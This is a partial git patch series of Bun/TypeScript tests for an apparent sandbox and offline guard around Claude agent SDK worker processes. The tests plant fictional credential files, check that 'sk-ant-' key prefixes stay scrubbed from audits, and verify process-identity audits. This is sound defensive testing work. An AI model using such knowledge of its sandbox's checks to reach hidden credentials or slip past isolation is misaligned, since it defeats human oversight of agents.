names=Function("return ("+startupExpression+")")() as string[]; + const root=fs.mkdtempSync("/tmp/odysseus-shell-files-"),stage=fs.mkdtempSync("/tmp/odysseus-shell-stage-"),home=join(root,"home"),planted=join(home,"planted-bin"),wrapper=join(root,"worker-wrapper.sh"); + fs.mkdirSync(planted,{recursive:true}); + const expected=[wrapper,join(home,"voyage.txt"),join(planted,"ithaca-profile-probe"),...names.map(name=>join(home,name))]; + for(const path of expected)fs.writeFileSync(path,path.endsWith("ithaca-profile-probe")?"#!/bin/sh\nprintf planted":"Odysseus returns to Ithaca.\n",{mode:0o755}); + fs.mkdirSync(join(home,".claude"));fs.writeFileSync(join(home,".claude/.credentials.json"),"fictional-login"); + const declared=Function("wrapper","home","planted","startupFiles","join","return ("+filesExpression+")")(wrapper,home,planted,names,join) as string[]; + expect(declared,"SHELL_STARTUP_ALL_EXTERNAL_READS_DECLARED").toEqual(expected); + const {nativeScriptedService,nativeFixtureFileMounts}=await import("../scripts/test-native-guard"); + const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:declared}); + try{ + const program='import os,subprocess,errno\npaths='+JSON.stringify(expected)+'\nfor p in paths: assert os.path.isfile(p),"SHELL_STARTUP_EXTERNAL_WITNESS_VISIBLE"\nfor p in paths:\n try: open(p,"w")\n except OSError as e: assert e.errno==errno.EROFS,"SHELL_STARTUP_EXTERNAL_WITNESS_READONLY"\n else: raise AssertionError("SHELL_STARTUP_EXTERNAL_WITNESS_READONLY")\nassert open(paths[1]).read()=="Odysseus returns to Ithaca.\\n"\nassert subprocess.check_output([paths[2]])==b"planted"\nassert not os.path.exists('+JSON.stringify(join(home,".claude/.credentials.json"))+')\nprint("SHELL_STARTUP_EXTERNAL_WITNESSES_VISIBLE")'; + const child=spawnGuardFixture(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--ro-bind","/","/","--tmpfs","/tmp",...nativeFixtureFileMounts(stage),"--remount-ro","/tmp","--","/usr/bin/python3","-I","-S","-c",program]); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(code,"SHELL_STARTUP_EXTERNAL_WITNESS_VISIBLE "+err).toBe(0);expect(out).toContain("SHELL_STARTUP_EXTERNAL_WITNESSES_VISIBLE"); + }finally{leave();fs.rmSync(root,{recursive:true,force:true});fs.rmSync(stage,{recursive:true,force:true});} +}); + test("captured external fixture files execute and expose controls without sibling login files",async()=>{ const {mkdirSync,writeFileSync,mkdtempSync,rmSync}=await import("node:fs"); const {nativeScriptedService,nativeFixtureFileMounts}=await import("../scripts/test-native-guard"); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index a570f6a39d..b1429e663d 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -607,7 +607,7 @@ test("workspace SDK discovery works without root resolution and fails closed for writeFileSync(join(scratch, "packages/native/package.json"), JSON.stringify({ name: "odysseus-native", dependencies: { "@anthropic-ai/claude-agent-sdk": "*" } })); copyFileSync(join(ROOT, "scripts/test-native-guard.ts"), join(scratch, "scripts/test-native-guard.ts")); copyFileSync(join(ROOT,"scripts/native-test-receipts.ts"),join(scratch,"scripts/native-test-receipts.ts")); - copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts")); + copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts"),join(scratch,"scripts/native-exec-trace.ts")); const link = join(scratch, "packages/native/node_modules/@anthropic-ai/claude-agent-sdk"); symlinkSync(dirname(sdk), link); const module = join(scratch, "scripts/test-native-guard.ts"); @@ -1225,6 +1225,7 @@ test("every native launch path preserves the product's Unix-socket auth intent", } if(!productSocket&&!["direct","prewarm"].includes(path)){const gate=argv.indexOf("brain-worker-start-gate"),entry=argv.findIndex(arg=>arg.endsWith("/egress-worker-entry.ts")),broker=argv.findIndex((arg,index)=>arg.endsWith("/native-connect")&&argv[index+1]==="--head");if(!(gate>=0&&entry>gate&&broker>entry))throw Error("REAL_WORKER_PLAN_GATES_THEN_FORWARDER_THEN_FILTER:"+path);} const injected={};for(let i=0;iargv[0]==="cc"?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from(process.env.TEST_DIAGNOSTIC_SECRET)}:Reflect.apply(original,Bun,[argv,options])); diff --git a/tests/native-rtk-adapter.test.ts b/tests/native-rtk-adapter.test.ts index 2ee41565a5..256cbea008 100644 --- a/tests/native-rtk-adapter.test.ts +++ b/tests/native-rtk-adapter.test.ts @@ -47,6 +47,9 @@ try{ const read=fs.readFileSync; const spy=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{const value=read(path,...args);return path==='/proc/'+child.pid+'/stat'?value.replace(/^(.*\\) )(.*)$/s,(_,prefix,rest)=>{const fields=rest.split(' ');fields[19]='reused-root';return prefix+fields.join(' ');}):value;}); try{refuses("REUSED_ROOT",()=>registerNativeFixtureRtk(worker));}finally{spy.mockRestore();} + const readStatus=fs.readFileSync; + const statusSpy=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{const value=readStatus(path,...args);return path==='/proc/'+pids[0]+'/status'?value.replace(/^Tgid:\\s+\\d+$/m,'Tgid: '+(pids[0]+1)):value;}); + try{let message="";try{registerNativeFixtureRtk(worker);}catch(error){message=error.message;}if(message!=="native fixture RTK audited identity changed")throw Error("AUDITED_RUNTIME_MUST_BE_THREAD_GROUP_LEADER");outcomes.push("AUDITED_RUNTIME_MUST_BE_THREAD_GROUP_LEADER");}finally{statusSpy.mockRestore();} // The non-dumpable supervisor remains unreadable; only its proven child is admitted. refuses("BROKER_STAYS_NONDUMPABLE",()=>fs.readFileSync('/proc/'+child.pid+'/environ')); observeNativeFixtureRtkSpawn(child.pid,launch,[selectedAlias],()=>new Map([[pids[0],start(pids[0])]])); @@ -60,6 +63,41 @@ try{ const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(20000)}); const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); expect(code,"OWNED_RTK_ADAPTER "+err).toBe(0); - expect(JSON.parse(out.trim())).toEqual(["UNREGISTERED_ROOT","AMBIGUOUS_SELECTED_RUNTIME","UNAVAILABLE_SELECTED_RUNTIME","MISSING_PAYLOAD","AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT","WRONG_EXECUTABLE","REUSED_PAYLOAD","REUSED_ROOT","BROKER_STAYS_NONDUMPABLE","OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH"]); + expect(JSON.parse(out.trim())).toEqual(["UNREGISTERED_ROOT","AMBIGUOUS_SELECTED_RUNTIME","UNAVAILABLE_SELECTED_RUNTIME","MISSING_PAYLOAD","AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT","WRONG_EXECUTABLE","REUSED_PAYLOAD","REUSED_ROOT","AUDITED_RUNTIME_MUST_BE_THREAD_GROUP_LEADER","BROKER_STAYS_NONDUMPABLE","OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH"]); }finally{rmSync(directory,{recursive:true,force:true});} },watchdogMs(30000)); + +test("a migrated exec registers the owned leader for real RTK rewriting",async()=>{ + const directory=mkdtempSync(join(tmpdir(),"odysseus-rtk-thread-")),repo=join(import.meta.dir,".."); + const strace=Bun.which("strace");expect(strace,"REAL_RTK_THREAD_PROOF_REQUIRES_STRACE").toBeTruthy(); + try{ + const script=join(directory,"probe.ts"); + writeFileSync(script,` +import * as fs from "node:fs"; +import {enterMeasurementRtkView} from ${JSON.stringify(join(repo,"scripts/measurement-rtk-fixture.ts"))}; +import {auditNativeLaunch,recordNativeGuardChild,observeNativeFixtureRtkSpawn,registerNativeFixtureRtk,nativeRtkProcessEvidence} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; +import {rewriteWorkerRtk} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-rtk.ts"))}; +const directory=${JSON.stringify(directory)},python=fs.realpathSync("/usr/bin/python3"),binary=directory+"/thread-exec"; +const program='import sys;print("READY",flush=True);sys.stdin.readline()'; +const c='#include \\n#include \\nstatic void *run(void *unused){(void)unused;execl('+JSON.stringify(python)+',"python","-I","-S","-c",'+JSON.stringify(program)+',(char*)0);_exit(125);}\\nint main(void){pthread_t thread;if(pthread_create(&thread,0,run,0))return 125;for(;;)pause();}\\n'; +if(!process.argv.includes("--native-rtk-view")){fs.writeFileSync(directory+"/exec.c",c); +const build=Bun.spawnSync(["cc","-pthread",directory+"/exec.c","-o",binary],{stdout:"pipe",stderr:"pipe"});if(build.exitCode)throw Error("THREAD_EXEC_COMPILES: "+build.stderr.toString());} +await enterMeasurementRtkView(); +const audit=auditNativeLaunch([binary],[python],()=>{}),env={PATH:"/usr/local/bin:/usr/bin:/bin",HOME:"/nonexistent"}; +const child=Bun.spawn([${JSON.stringify(strace)},...audit.argv.slice(1)],{env,stdin:"pipe",stdout:"pipe",stderr:"pipe"});recordNativeGuardChild(child); +try{ + const reader=child.stdout.getReader(),ready=await reader.read();reader.releaseLock();if(!new TextDecoder().decode(ready.value).includes("READY"))throw Error("THREAD_EXEC_TARGET_READY"); + if(!audit.nativeExecuted())throw Error("MIGRATED_EXEC_NATIVE_EXECUTED_WIRING"); + const execs=audit.liveExecs();if(execs.size!==1)throw Error("MIGRATED_EXEC_HAS_ONE_LIVE_LEADER"); + const pid=[...execs.keys()][0];if(nativeRtkProcessEvidence(pid).leader!==true)throw Error("MIGRATED_EXEC_IS_OWNED_GROUP_LEADER"); + const launch={env,brainPath:"/tmp"},worker={pid:child.pid,exited:child.exited}; + observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>audit.liveExecs());registerNativeFixtureRtk(worker); + const result=await rewriteWorkerRtk(worker,"touch /tmp/brain-worker-scratch/original");if(result!=="touch /tmp/brain-worker-scratch/rewritten")throw Error("MIGRATED_EXEC_REAL_RTK_REWRITE"); + console.log("MIGRATED_EXEC_REAL_RTK_REWRITE"); +}finally{child.stdin.end();await child.exited;const receipt=audit.receipt();if(!receipt.nativeLaunched)throw Error("MIGRATED_EXEC_FINAL_AUDIT_SUCCEEDS");} +`); + const child=Bun.spawn([process.execPath,script],{env:{PATH:process.env.PATH},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(30000)}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,"MIGRATED_EXEC_REAL_RTK_REWRITE "+err).toBe(0);expect(out).toContain("MIGRATED_EXEC_REAL_RTK_REWRITE"); + }finally{rmSync(directory,{recursive:true,force:true});} +}); diff --git a/tests/native-rtk-diagnostics.test.ts b/tests/native-rtk-diagnostics.test.ts index d508e0dd8b..b50d4440d0 100644 --- a/tests/native-rtk-diagnostics.test.ts +++ b/tests/native-rtk-diagnostics.test.ts @@ -30,3 +30,11 @@ test("RTK unavailable source and errno are fixed labels",()=>{ for(const source of ["canonicalize-selected","read-proc-exe"])for(const errno of ["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"])expect(nativeRtkUnavailableLabels(Error("native fixture RTK executable unavailable",{cause:{source,errno}}))).toEqual({source,errno}); expect(nativeRtkUnavailableLabels(Error("native fixture RTK executable unavailable",{cause:{source:"/home/private-owner",errno:"secret"}}))).toEqual({source:"unknown",errno:"unknown"}); }); + +test("RTK process evidence contains only fixed state and access labels",async()=>{ + const {nativeRtkProcessEvidence}=await import("../scripts/test-native-guard"); + expect(nativeRtkProcessEvidence(process.pid)).toMatchObject({leader:true,exeReadlink:"ok",exeStat:"ok"}); + expect(nativeRtkProcessEvidence(2147483647)).toEqual({processState:"missing",leader:null,exeReadlink:"ENOENT",exeStat:"ENOENT"}); + const error=Error("native fixture RTK executable unavailable",{cause:{source:"read-proc-exe",errno:"ENOENT",processState:"/home/private-owner",leader:"secret",exeReadlink:"private",exeStat:"private"}}); + expect(nativeRtkUnavailableLabels(error),"RTK_PROCESS_EVIDENCE_IS_FIXED_AND_SCRUBBED").toEqual({source:"read-proc-exe",errno:"ENOENT",processState:"unknown",leader:null,exeReadlink:"unknown",exeStat:"unknown"}); +}); diff --git a/tests/native-startup-audit.test.ts b/tests/native-startup-audit.test.ts index 6cc2d434d4..8efea0cf90 100644 --- a/tests/native-startup-audit.test.ts +++ b/tests/native-startup-audit.test.ts @@ -42,7 +42,7 @@ for(const writeFailure of [false,true]) test(`identity audit snapshots sanitized const audit=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-audit"'))!);expect(audit.deniedConnects).toBe(0); const snapshots=JSON.parse(out);expect(snapshots).toHaveLength(writeFailure?0:1); if(writeFailure) { expect(err).toContain('"kind":"native-fixture-startup-audit-failure"');expect(err).toContain('"nativeLaunched":true,"success":true'); } - else {expect(snapshots[0].verdict,"RETAINED_FINAL_AUDIT_VERDICT_SURVIVES_CHANNEL_TEARDOWN").toMatchObject({kind:"native-offline-audit",nativeLaunched:true,success:true});expect(snapshots[0].deviceMetadata,"RETAINED_DEVICE_METADATA_SURVIVES_CHANNEL_TEARDOWN").toEqual([{device:"urandom",mode:0o666,uid:65534,gid:65534,nodev:true,nosuid:true,ro:false}]);expect(snapshots[0].failedOpenStages,"RETAINED_OPEN_STAGE_SURVIVES_CHANNEL_TEARDOWN").toEqual([{stage:"payload",execPosition:1,device:"urandom",error:"EACCES"}]);expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} + else {expect(snapshots[0].execCounters.expected,"RETAINED_EXPECTED_EXEC_COUNTER_IS_FIXED").toBe(1);expect(snapshots[0].verdict,"RETAINED_FINAL_AUDIT_VERDICT_SURVIVES_CHANNEL_TEARDOWN").toMatchObject({kind:"native-offline-audit",nativeLaunched:true,success:true});expect(snapshots[0].deviceMetadata,"RETAINED_DEVICE_METADATA_SURVIVES_CHANNEL_TEARDOWN").toEqual([{device:"urandom",mode:0o666,uid:65534,gid:65534,nodev:true,nosuid:true,ro:false}]);expect(snapshots[0].failedOpenStages,"RETAINED_OPEN_STAGE_SURVIVES_CHANNEL_TEARDOWN").toEqual([{stage:"payload",execPosition:1,device:"urandom",error:"EACCES"}]);expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} }finally{fs.rmSync(root,{recursive:true,force:true});} }); diff --git a/tests/native-worker-classification.test.ts b/tests/native-worker-classification.test.ts index ac49d0cce7..c54b68bb4f 100644 --- a/tests/native-worker-classification.test.ts +++ b/tests/native-worker-classification.test.ts @@ -1,4 +1,6 @@ -import {readFileSync} from "node:fs"; +import {keylessWorkerCommand} from "../packages/ui-sdk/tests/helpers/keyless-worker-command"; +import ts from "typescript"; +import {mkdtempSync,rmSync,readFileSync} from "node:fs"; import {expect,test} from "bun:test"; import {createRequire} from "node:module"; import {join} from "node:path"; @@ -40,9 +42,33 @@ test("pinned host qualification probe classifies its explicit positional executa expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",script,process.execPath,"fixture","extra"]),"PINNED_HOST_PROBE_EXACT_SHAPE_REQUIRED").toBe(true); }); -test("recognized product shell table matches every pinned production source string",()=>{ - const source=readFileSync(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-launcher.ts"),"utf8"); - expect(nativeProductShellWrappers.map(row=>row.name)).toEqual(["status","host-probe"]); - for(const row of nativeProductShellWrappers)expect(source,"PINNED_PRODUCT_SHELL_SOURCE_MATCH "+row.name).toContain("'"+row.script+"'"); - expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",nativeProductShellWrappers[1].script+" ",process.execPath,"fixture"]),"MODIFIED_HOST_PROBE_STAYS_UNKNOWN").toBe(true); +test("recognized product shell table discovers all positional product wrappers",()=>{ + const discovered=new Set(); + for(const file of new Bun.Glob("packages/*/src/**/*.ts").scanSync({cwd:join(import.meta.dir,"..")})){ + const source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"..",file),"utf8"),ts.ScriptTarget.Latest,true); + function visit(node:ts.Node):void { + if(ts.isArrayLiteralExpression(node)){ + const words=node.elements.map(item=>ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item)?item.text:undefined); + for(let i=0;irow.script).sort()); + for(const row of nativeProductShellWrappers){ + const tail=row.kind==="args"?[row.marker,"/bin/true"]:row.kind==="status"?[row.marker,"/tmp/status","/tmp/gate","/bin/true"]:row.kind==="probe"?[process.execPath,"fixture"]:["/bin/true","fixture"]; + expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",row.script,...tail]),"PINNED_PRODUCT_WRAPPER_NON_NATIVE "+row.name).toBe(false); + const nativeTail=row.kind==="args"?[row.marker,runtime]:row.kind==="status"?[row.marker,"/tmp/status","/tmp/gate",runtime]:row.kind==="probe"?[runtime,"fixture"]:[runtime,"fixture"]; + expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",row.script,...nativeTail]),"PINNED_PRODUCT_WRAPPER_NATIVE "+row.name).toBe(true); + } + expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",nativeProductShellWrappers.find(row=>row.name==="host-probe")!.script+" ",process.execPath,"fixture"]),"MODIFIED_HOST_PROBE_STAYS_UNKNOWN").toBe(true); +}); + +test("keyless protocol peers declare owned executables without a dynamic shell launch",()=>{ + const root=mkdtempSync("/tmp/odysseus-keyless-classification-"); + try{ + const command=keylessWorkerCommand(root,'IFS= read -r init; printf "%s" "$init"'); + expect(nativeWorkerArgvNeedsIsolation(command),"KEYLESS_PEER_EXECUTABLE_IS_POSITIVELY_NON_NATIVE").toBe(false); + const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv:command,env:{}})}; + expect(nativeWorkerBoundary(env).env,"KEYLESS_PEER_PLAN_REMAINS_PRODUCT_PLAN").toBe(env); + }finally{rmSync(root,{recursive:true,force:true});} }); diff --git a/tests/test-determinism.test.ts b/tests/test-determinism.test.ts index 8d821d706e..b228ae1923 100644 --- a/tests/test-determinism.test.ts +++ b/tests/test-determinism.test.ts @@ -17,7 +17,7 @@ import singleFileRuns from "./fixtures/determinism-single-file-runs.json"; const ROOT = join(import.meta.dir, ".."); // The wrapper, its preload and what they import, as tests/experiment-tier.test.ts copies them. const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", - "native-test-receipts.ts", "native-device-diagnostics.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", + "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", "test-determinism.ts", "determinism-plan.ts", "proof-shards.ts", "test-deadlines.ts", "test-deadline-preload.ts"]; const scratch: string[] = []; diff --git a/tests/test-network-environment.test.ts b/tests/test-network-environment.test.ts new file mode 100644 index 0000000000..064b102ee1 --- /dev/null +++ b/tests/test-network-environment.test.ts @@ -0,0 +1,15 @@ +import {expect,test} from "bun:test"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; + +test("the guard honours an explicit removal of GitHub reporter environment",async()=>{ + const code=`process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const probe='console.log(JSON.stringify({github:process.env.GITHUB_ACTIONS??null,runner:process.env.RUNNER_ENVIRONMENT??null}))'; + const removed=Bun.spawnSync([process.execPath,"-e",probe],{env:{...process.env,GITHUB_ACTIONS:undefined,RUNNER_ENVIRONMENT:undefined}}); + if(removed.exitCode)throw Error("REPORTER_ENV_PROBE_FAILED"); + const runnerEnv={...process.env,RUNNER_ENVIRONMENT:undefined};delete runnerEnv.GITHUB_ACTIONS; + const runner=Bun.spawnSync([process.execPath,"-e",probe],{env:runnerEnv});if(runner.exitCode)throw Error("RUNNER_ENV_PROBE_FAILED"); + console.log(JSON.stringify([JSON.parse(removed.stdout.toString()),JSON.parse(runner.stdout.toString())]));`; + const child=spawnGuardFixture([process.execPath,"-e",code]); + const [codeResult,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(codeResult,err).toBe(0);expect(JSON.parse(out),"EXPLICIT_REPORTER_ENV_REMOVAL_IS_HONOURED").toEqual([{github:null,runner:null},{github:"true",runner:null}]); +}); diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index e92dfd6d3d..0e4b77d226 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -33,7 +33,7 @@ async function run(args: string[], env: Record = {}) { if (existsSync(script)) { mkdirSync(join(dir, "scripts")); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index 6bba391f36..bc939b2265 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -59,7 +59,7 @@ describe("balanced shards run the root command for real", () => { mkdirSync(join(dir, "scripts")); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/worker-effect-witness.test.ts b/tests/worker-effect-witness.test.ts index 5da6352712..8fb32f8c9d 100644 --- a/tests/worker-effect-witness.test.ts +++ b/tests/worker-effect-witness.test.ts @@ -11,7 +11,7 @@ test("worker effect witness records through the registered scripted service path const witness=createWorkerEffectWitness({marker}),model=scriptedModel();model.plan(null,witness); const relay=startNativeTestRelay(model.url); try{ - const child=Bun.spawn(["/bin/sh","-c",witness.command],{env:{PATH:"/usr/bin:/bin",ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:join(relay.directory,"relay.sock")},stdout:"pipe",stderr:"pipe"}); + const child=Bun.spawn(["/bin/sh","-c",witness.command],{env:{PATH:"/usr/bin:/bin",ANTHROPIC_BASE_URL:"http://localhost",BRAIN_TEST_EFFECT_SOCKET:join(relay.directory,"relay.sock")},stdout:"pipe",stderr:"pipe"}); const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]); expect(code,errors).toBe(0);expect(witness.effects.marker,"EFFECT_RECORDED_ON_SCRIPTED_SERVICE").toBe(true); const source=readFileSync(join(import.meta.dir,"../scripts/measure-claude-delegation.ts"),"utf8"); diff --git a/tests/workspace-lease.test.ts b/tests/workspace-lease.test.ts index 7adb20881d..b79bec440c 100644 --- a/tests/workspace-lease.test.ts +++ b/tests/workspace-lease.test.ts @@ -281,7 +281,7 @@ test("the real pinned container wrapper waits for host ownership of its mounted test("direct Bun test preserves its selector, timeout and offline preload while waiting", async () => { const root = fixture(); mkdirSync(join(root, "scripts")); mkdirSync(join(root, "packages/core/tests"), { recursive: true }); - for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { + for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { copyFileSync(join(project, "scripts", name), join(root, "scripts", name)); } copyFileSync(join(project, "packages/core/tests/cli-harness.ts"), join(root, "packages/core/tests/cli-harness.ts")); From 3812e1d5e4a8af23fec7af2b7a4ba1ace39a50b6 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 20:12:14 +0000 Subject: [PATCH 088/187] test: assert retained exec counters without dereferencing missing evidence --- tests/native-startup-audit.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/native-startup-audit.test.ts b/tests/native-startup-audit.test.ts index 8efea0cf90..c16a5c7b34 100644 --- a/tests/native-startup-audit.test.ts +++ b/tests/native-startup-audit.test.ts @@ -42,7 +42,7 @@ for(const writeFailure of [false,true]) test(`identity audit snapshots sanitized const audit=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-audit"'))!);expect(audit.deniedConnects).toBe(0); const snapshots=JSON.parse(out);expect(snapshots).toHaveLength(writeFailure?0:1); if(writeFailure) { expect(err).toContain('"kind":"native-fixture-startup-audit-failure"');expect(err).toContain('"nativeLaunched":true,"success":true'); } - else {expect(snapshots[0].execCounters.expected,"RETAINED_EXPECTED_EXEC_COUNTER_IS_FIXED").toBe(1);expect(snapshots[0].verdict,"RETAINED_FINAL_AUDIT_VERDICT_SURVIVES_CHANNEL_TEARDOWN").toMatchObject({kind:"native-offline-audit",nativeLaunched:true,success:true});expect(snapshots[0].deviceMetadata,"RETAINED_DEVICE_METADATA_SURVIVES_CHANNEL_TEARDOWN").toEqual([{device:"urandom",mode:0o666,uid:65534,gid:65534,nodev:true,nosuid:true,ro:false}]);expect(snapshots[0].failedOpenStages,"RETAINED_OPEN_STAGE_SURVIVES_CHANNEL_TEARDOWN").toEqual([{stage:"payload",execPosition:1,device:"urandom",error:"EACCES"}]);expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} + else {expect(snapshots[0],"RETAINED_EXPECTED_EXEC_COUNTER_IS_FIXED").toHaveProperty("execCounters.expected",1);expect(snapshots[0].verdict,"RETAINED_FINAL_AUDIT_VERDICT_SURVIVES_CHANNEL_TEARDOWN").toMatchObject({kind:"native-offline-audit",nativeLaunched:true,success:true});expect(snapshots[0].deviceMetadata,"RETAINED_DEVICE_METADATA_SURVIVES_CHANNEL_TEARDOWN").toEqual([{device:"urandom",mode:0o666,uid:65534,gid:65534,nodev:true,nosuid:true,ro:false}]);expect(snapshots[0].failedOpenStages,"RETAINED_OPEN_STAGE_SURVIVES_CHANNEL_TEARDOWN").toEqual([{stage:"payload",execPosition:1,device:"urandom",error:"EACCES"}]);expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} }finally{fs.rmSync(root,{recursive:true,force:true});} }); From 2b789a7f16bcc1f392e48d15b09f92d668dd034e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 21:06:25 +0000 Subject: [PATCH 089/187] Fix native proof liveness, shared observations and retained refusals --- .../tests/fixtures/ordinary-identity-root.ts | 6 +-- .../tests/fixtures/ordinary-identity-ws.ts | 4 +- .../ui-server/tests/bundled-claude.test.ts | 13 +++-- scripts/test-native-guard.ts | 45 ++++++++++++++++- scripts/worker-effect-witness.ts | 15 +++--- tests/experiment-tier.test.ts | 2 +- tests/helpers/native-guard-copy-inventory.ts | 48 ++++++++++++++++++ tests/helpers/unit-worker-fixture.ts | 2 +- tests/native-boundary-retention.test.ts | 49 +++++++++++++++++++ tests/native-guard-copy-closure.test.ts | 22 +++++++++ tests/native-recording-wrapper.test.ts | 27 ++++++++++ tests/native-rtk-zombie.test.ts | 47 ++++++++++++++++++ tests/worker-effect-witness.test.ts | 4 +- 13 files changed, 262 insertions(+), 22 deletions(-) create mode 100644 tests/helpers/native-guard-copy-inventory.ts create mode 100644 tests/native-boundary-retention.test.ts create mode 100644 tests/native-guard-copy-closure.test.ts create mode 100644 tests/native-recording-wrapper.test.ts create mode 100644 tests/native-rtk-zombie.test.ts diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts index 